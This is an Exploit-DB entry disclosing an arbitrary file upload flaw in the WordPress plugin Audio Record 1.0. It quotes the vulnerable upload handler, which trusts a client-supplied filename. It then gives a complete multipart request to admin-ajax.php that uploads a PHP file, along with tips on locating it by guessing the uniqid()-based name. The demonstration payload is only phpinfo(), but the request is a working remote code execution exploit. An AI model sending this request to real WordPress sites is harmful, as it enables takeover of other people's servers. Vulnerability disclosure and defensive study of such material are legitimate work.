WordPress Plugin Audio Record 1.0 - Arbitrary File Upload

EDB-ID:

46055

CVE:

N/A


Author:

Kaimi

Type:

webapps


Platform:

PHP

Date:

2018-12-27


# Exploit Title: WordPress Plugin Audio Record 1.0 - Arbitrary File Upload
# Date: 2018-12-24
# Software Link: https://wordpress.org/plugins/audio-record/
# Exploit Author: Kaimi
# Website: https://kaimi.io
# Version: 1.0
# Category: webapps

# Unrestricted file upload in record upload process allowing arbitrary extension.
# File: recorder.php
# Vulnerable code:
function save_record_callback() {

        foreach(array('audio') as $type) {
            if (isset($_FILES["${type}-blob"])) {

                $fileName = uniqid() . '_' .$_POST["${type}-filename"] ;
                $path_array  = wp_upload_dir();
                $path = str_replace('\\', '/', $path_array['path']);
                $uploadDirectory = $path . "/$fileName";
                if (!move_uploaded_file($_FILES["${type}-blob"]["tmp_name"], $uploadDirectory)) {
                        echo 000;
                    wp_die("problem moving uploaded file");
                }


# Exploitation example:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=---------------------------18311719029180117571501079851
...
-----------------------------18311719029180117571501079851
Content-Disposition: form-data; name="audio-filename"

file.php
-----------------------------18311719029180117571501079851
Content-Disposition: form-data; name="audio-blob"; filename="blob"
Content-Type: audio/wav

<?php phpinfo();
-----------------------------18311719029180117571501079851
Content-Disposition: form-data; name="action"

save_record
-----------------------------18311719029180117571501079851
Content-Disposition: form-data; name="course_id"

undefined
-----------------------------18311719029180117571501079851
Content-Disposition: form-data; name="unit_id"

undefined
-----------------------------18311719029180117571501079851--

# Uploaded file will be located at standard WordPress media upload directory (for ex: /wp-content/uploads/year/month/).
# If directory listing is disabled - file name can be guessed due to cryptographically insecure nature of uniqid() call.